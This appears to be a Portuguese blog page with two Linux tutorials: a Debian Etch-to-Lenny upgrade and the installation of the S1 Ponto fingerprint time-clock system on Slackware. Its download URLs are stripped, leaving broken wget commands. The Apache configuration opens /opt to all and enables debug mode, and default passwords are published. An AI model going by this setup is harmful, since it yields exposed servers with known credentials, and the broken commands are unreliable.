A perfeição com que o Debian e o Ubuntu operam no momento de upgrades de suas versões é impressionante (coisa que sistemas como o poderoso Rhel não recomendam), causando o mínimo de falhas possíveis/imaginárias no sistema que recebeu a atualização.

Neste artigo iremos mostrar como fazer upgrade do Debian Etch para o Debian Lenny. Vamos seguir os passos abaixo:

1 – Atualizar as listas do APT

Primeira coisa que iremos fazer é o backup das listas de repositórios, depois iremos modificar de etch para lenny os valores descritos da versão na lista de Repositórios, veja a versão antes da modificação:

deb etch main contrib non-free
deb-src etch main contrib non-free
deb etch/updates main contrib non-free

Agora veja a versão depois modificação:

deb lenny main contrib non-free
deb-src lenny main contrib non-free
deb lenny/updates main contrib non-free

2 – Fazendo update dos pacotes

aptitude update
aptitude install apt dpkg aptitude

Se for desktop use isto como adicional
dpkg -l libfam0c102 | grep ^ii
aptitude install libfam0
por fim
aptitude full-upgrade
isto pode também ser usado via apt-get com o comando:
apt-get dist-upgrade

Depois disto reinicie seu servidor/desktop e prepare-se para rodar o Debian em sua versão mais amigável, estável e flexível possível.

Abraços a todos.

fonte original:

S1 Ponto: Sistema de controle de ponto Open Source para Linux


Nesse artigo abordarei a instalação do programa S1 Ponto na distribuição Slackware Linux 12.1. O S1 Ponto é um software de controle de ponto Open Source em fase inicial de desenvolvimento. Atualmente ele contém módulo de cadastro de funcionários, marcações de ponto e e emissão de relatórios.

O S1 Ponto foi iniciado a pedido de minha esposa, que não queria mais gastar dinheiro com cadernos de ponto na empresa onde trabalha. É um projeto em fase inicial, mas que já possui o básico de um sistema de controle de ponto.

O S1 Ponto usa a biblioteca libfprint[1] para reconhecimento de impressões digitais, o que torna o software compatível com mais de 40 leitores de impressão digital.

O cadastro de funcionários e impressão de relatórios usa interface web desenvolvida com framework django.

Página do projeto:

1. A biblioteca libfprint já foi matéria de artigo aqui no Viva o Linux: fprint: Biometria livre, completa e total!

Instalando as dependências

O presente artigo abordará a instalação do S1 Ponto na distribuição Slackware Linux 12.1, no entanto nada impede que o mesmo seja instalado em qualquer outra distribuição, uma vez que todas as dependências sejam resolvidas.

Eis a lista de dependências e seu respectivos sites:

Baixando e instalando o Django, framework de desenvolvimento web/python: $ wget ‘’ -O django-1.0-noarch-1_SBo.tgz
# upgradepkg –install-new django-1.0-noarch-1_SBo.tgz

Baixando e instalando o PySqlite2, pacote com os bindings em Python para base de dados SQLite:

$ wget ‘’ -O pysqlite2-2.3.5-i486-1_SBo.tgz
# upgradepkg –install-new pysqlite2-2.3.5-i486-1_SBo.tgz

Baixando e instalando o SQLite, engine de banco de dados padrão do S1 Ponto (por ser desenvolvido em Django, o sistema pode usar opcionalmente outras bases com MySQL, PostgreSQL ou Oracle).

$ wget ‘’ -O sqlite-3.6.2-i486-1_SBo.tgz
# upgradepkg –install-new sqlite-3.6.2-i486-1_SBo.tgz

Baixando e instalando o mod_python, módulo do Apache para interpretação de scripts Python:

$ wget ‘’ -O mod_python-3.3.1-i486-1_SBo.tgz
# upgradepkg –install-new mod_python-3.3.1-i486-1_SBo.tgz

Baixando e instalando a LibFprint, biblioteca Open Source de captura e reconhecimento de impressões digitais:

$ wget ‘’ -O libfprint-0.0.6-i486-1_SBo.tgz
# upgradepkg –install-new libfprint-0.0.6-i486-1_SBo.tgz

Baixando e instalando o Swig, uma interface de compilação que integra C/C++ com linguagens de script:

$ wget ‘’ -O swig-1.3.35-i486-1_SBo.tgz
# upgradepkg –install-new swig-1.3.35-i486-1_SBo.tgz

Baixando e instalando o PyFprint, pacote com os bindings em Python para a biblioteca LibFprint.

$ wget -O ‘’ pyfprint-0.0-noarch-1_tla.tgz
# upgradepkg –install-new pyfprint-0.0-noarch-1_tla.tgz

Instalando o S1 Ponto

Para instalar o S1 Ponto faça o download do software:

$ wget ‘’ -O s1ponto-0.0.1.tar.gz

Descompacte o arquivo:

$ tar -xpzvf s1ponto-0.0.1.tar.gz

Entre na pasta:

$ cd s1ponto

Como super usuário execute o script “”, ele perguntará em qual usuário o instalador deverá colocar o ícone no Desktop:

$ su
# sh

Instalando S1 Ponto:

Criar ícone no Desktop do usuário:
1) ftp
2) teste
#? 2

Configurando o sistema para o uso do software:

* Permitindo acesso ao leitor de impressões digitais.

Para que usuários do grupo “plugdev” tenham acesso ao dispositivo será necessário editar o arquivo: /etc/udev/rules.d/50-udev-default.rules

Alterando a linha que contém SUBSYSTEM==”usb” adicionando os parâmetros MODE=”0664″ e GROUP=”plugdev”. Deixe-a assim:

SUBSYSTEM==”usb”, ACTION==”add”, ENV{DEVTYPE}==”usb_device”, NAME=”bus/usb/$env{BUSNUM}/$env{DEVNUM}”, MODE=”0664″, GROUP=”plugdev”

Configurando o Apache:

Edite o arquivo /etc/httpd/httpd.conf, após a linha:

LoadModule rewrite_module lib/httpd/modules/

Adicione a seguinte linha:

LoadModule python_module lib/httpd/modules/

Após o bloco:

<Directory “/srv/httpd/htdocs”>


Adicione o seguinte bloco:

<Directory “/opt”>
Options Indexes FollowSymLinks
AllowOverride None
Order allow,deny
Allow from all

E por último descomente a linha:

Include /etc/httpd/extra/httpd-vhosts.conf

Edite o arquivo /etc/httpd/extra/httpd-vhosts.conf, remova todo seu conteúdo e adicione o seguinte:

NameVirtualHost *:80
<VirtualHost *:80>
DocumentRoot /opt/s1ponto/media

<Location “/”>
SetHandler python-program
PythonHandler django.core.handlers.modpython
SetEnv DJANGO_SETTINGS_MODULE s1ponto.settings
PythonDebug On
PythonPath “[‘/opt’,’/opt/s1ponto’] + sys.path”

<Location “/media”>
SetHandler None

<Location “/arquivos”>
SetHandler None


Após todos estes passos configure o Apache para iniciar automaticamente e inicie o mesmo:

# chmod +x /etc/rc.d/rc.httpd
# /etc/rc.d/rc.httpd start

O programa S1 Ponto está pronto para ser usado!

Para cadastrar os funcionários e emitir os relatórios, use a interface web.

Endereço: http://localhost/
Usuário: s1ponto
Senha: s1ponto

Para cadastrar as impressões digitais, abra o sistema de ponto através do ícone no Desktop e use o atalho Ctrl+Shift+L.
Usuário: s1ponto
Senha: s1ponto

Bom proveito a todos e aguardo contribuições e ideias.

Veja abaixo um pequeno vídeo de demonstração do software: